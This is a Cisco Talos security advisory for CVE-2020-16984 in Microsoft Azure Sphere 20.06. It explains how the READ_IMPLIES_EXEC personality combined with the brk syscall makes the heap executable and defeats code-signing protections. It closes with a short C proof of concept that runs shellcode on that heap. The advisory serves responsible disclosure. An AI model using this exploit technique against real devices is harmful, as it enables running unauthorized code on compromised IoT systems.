Talos Vulnerability Report

TALOS-2020-1128

Microsoft Azure Sphere Normal World application READ_IMPLIES_EXEC personality unsigned code execution vulnerability

August 24, 2020
CVE Number

CVE-2020-16984

Summary

A code execution vulnerability exists in the normal world’s signed code execution functionality of Microsoft Azure Sphere 20.06. A specially crafted shellcode can cause a process’ heap to become executable. An attacker can execute a shellcode that sets the READ_IMPLIES_EXEC personality to trigger this vulnerability.

Tested Versions

Microsoft Azure Sphere 20.06

Product URLs

https://azure.microsoft.com/en-us/services/azure-sphere/

CVSSv3 Score

6.2 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CWE

CWE-284 - Improper Access Control

Details

Microsoft’s Azure Sphere is a platform for the development of internet-of-things applications. It features a custom SoC that consists of a set of cores that run both high-level and real-time applications, enforces security and manages encryption (among other functions). The high-level applications execute on a custom Linux-based OS, with several modifications to make it smaller and more secure, specifically for IoT applications.

For the purposes of this writeup, we focus upon the Azure Sphere Normal World’s innate memory protection: memory that has ever been marked as writable cannot be marked as executable, likewise memory that has been marked executable cannot be marked as writable. This is also discussed in one of Azure Sphere’s presentations.
To illustrate:

[o.o]> call (int *)malloc(0x1000)
$3 = (int *) 0xbeeff010

[~.~]> !addr $3
0xbeeff010('$3') => 0xbeeff000 0xbef03000 0x4000 0x0 rw-p [heap]

[o.o]> call (int)mprotect($3, 0x1000, 0x5)
$13 = -1

Likewise, if we do something similar with mmap and mprotect, the same situation occurs:

unsigned char *addr = mmap(0x0, 0x1000,
               PROT_WRITE,
               MAP_ANONYMOUS | MAP_PRIVATE, -1,0);
Log_Debug("[^_^] mmap(WRITE) addr => 0x%lx\n",addr);

ret = mprotect(addr,0x1000,PROT_EXEC|PROT_READ);
Log_Debug("[?.?] mprotect(PROT_EXEC|PROT_READ); %d\n",ret);

ret = mprotect(addr,0x1000,PROT_READ);
Log_Debug("[?.?] mprotect(PROT_READ): %d\n",ret);

We are left with the following output:

[^_^] mmap(WRITE) addr => 0xbeefc000
[?.?] mprotect(PROT_EXEC|PROT_READ); -1
[?.?] mprotect(PROT_READ): 0

This is a feature included into the Azure Sphere Linux kernel, so regardless of the method of mapping, the results end up the same. Thus, being able to write to and then execute memory inside a given process is actually a non-trivial endevour.
It’s also worth noting that one cannot write to flash memory in order to store shellcode, due to the only flash memory available (/mnt/config) being heavily restricted. We also cannot write to the application’s filesystem that gets mounted in order to run, since the asxipfs filesystem (a fork of cramfs) is strictly read-only.

A quick note: for the purposes of the Azure Sphere Security Research Challenge, the attack surface provided is essentially: “A given application has been compromised, what could be done from there?”.

The issue we’re describing in this advisory concerns the READ_IMPLIES_EXEC personality.
Linux allows to change the personality of a process, by calling the personality syscall. This feature exists mainly to provide compatibility with binaries not originally meant to run on a Linux system.
One of the personalities that can be used is READ_IMPLIES_EXEC. From man personality:

READ_IMPLIES_EXEC (since Linux 2.6.8)
       With this flag set, PROT_READ implies PROT_EXEC for mmap(2).

This flag however does not only affect mmap, in fact it also affects the brk syscall, or, more generally, any operation that uses the VM_DATA_DEFAULT_FLAGS macro.

When the brk syscall is called, and after a set of sanity checks, the function do_brk is called, which takes care of enlarging the data segment.

/*
 *  this is really a simplified "do_mmap".  it only handles
 *  anonymous maps.  eventually we may be able to do some
 *  brk-specific accounting here.
 */
static int do_brk(unsigned long addr, unsigned long len)
{
    struct mm_struct *mm = current->mm;
    struct vm_area_struct *vma, *prev;
    unsigned long flags;
    struct rb_node **rb_link, *rb_parent;
    pgoff_t pgoff = addr >> PAGE_SHIFT;
    int error;

    flags = VM_DATA_DEFAULT_FLAGS | VM_ACCOUNT | mm->def_flags;     [1]

    ...

    /* Can we just expand an old private anonymous mapping? */
    vma = vma_merge(mm, prev, addr, addr + len, flags,              [2]
            NULL, NULL, pgoff, NULL, NULL_VM_UFFD_CTX);
    if (vma)
        goto out;

    /*
     * create a vma struct for an anonymous mapping
     */
    vma = kmem_cache_zalloc(vm_area_cachep, GFP_KERNEL);            [3]
    if (!vma) {
        vm_unacct_memory(len >> PAGE_SHIFT);
        return -ENOMEM;
    }

    INIT_LIST_HEAD(&vma->anon_vma_chain);
    vma->vm_mm = mm;
    vma->vm_start = addr;
    vma->vm_end = addr + len;
    vma->vm_pgoff = pgoff;
    vma->vm_flags = flags;                                          [4]
    vma->vm_page_prot = vm_get_page_prot(flags);
    vma_link(mm, vma, prev, rb_link, rb_parent);

At [1], the flags for the data segment are computed, then at [2] the function tries to merge the current data segment with the requested address, using vma_merge. If this does not succeed, a new page is allocated at [3] via kmem_cache_zalloc and flags are set at [4], as computed in [1].

The flags variable computed at [1] is partly controlled from user-space, as we can see from the macro definition for VM_DATA_DEFAULT_FLAGS:

#define VM_DATA_DEFAULT_FLAGS \
    (((current->personality & READ_IMPLIES_EXEC) ? VM_EXEC : 0) | \
     VM_READ | VM_WRITE | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC)

In fact, a process can set the READ_IMPLIES_EXEC personality, so to include the VM_EXEC flag in the next page allocation.
Note that this can happen also if vma_merge succeeds, which is the case if no heap has been already allocated for a particular process (e.g. if heap allocation functions like malloc have never been called before).

Either way, a call reaching do_brk from a process with READ_IMPLIES_EXEC personality, will create a page with execution permissions set.

The hooks defined by the custom LSM of Azure Sphere only concern mmap and mprotect calls and do not catch the brk call:

#ifdef CONFIG_AZURE_SPHERE_MMAP_EXEC_PROTECTION
    LSM_HOOK_INIT(mmap_file, azure_sphere_mmap_file),
    LSM_HOOK_INIT(file_mprotect, azure_sphere_file_mprotect),
#endif

Thus, an attacker that compromised an app can, via ROP gadgets, set the READ_IMPLIES_EXEC personality, execute a brk call, and copy and execute an arbitrary shellcode on the now executable heap.

Exploit Proof of Concept

The following proof-of-concept shows how to run unsigned code inside a compromised app.
While the following code snippet is written in C, in a real situation the code snippets would be the equivalent code in ROP gadgets.

personality(personality(-1) | READ_IMPLIES_EXEC);
char *end_of_heap = (char *)syscall(45, 0);
char *new_end = (char *)syscall(45, end_of_heap + 0x1000);

for (int i = 0; i < sizeof(shellcode); i++)
    end_of_heap[i] = shellcode[i];

((void(*)(void))(end_of_heap+1))();

Clearly, as an alternative to the brk syscall, an attacker could use any function that relies on brk, such as a malloc (for big enough allocations that don’t fit the current heap space).

Timeline

2020-07-23 - Vendor Disclosure
2020-08-24 - Public Release

Credit

Discovered by Claudio Bozzato, Lilith >_> and Dave McDaniel of Cisco Talos.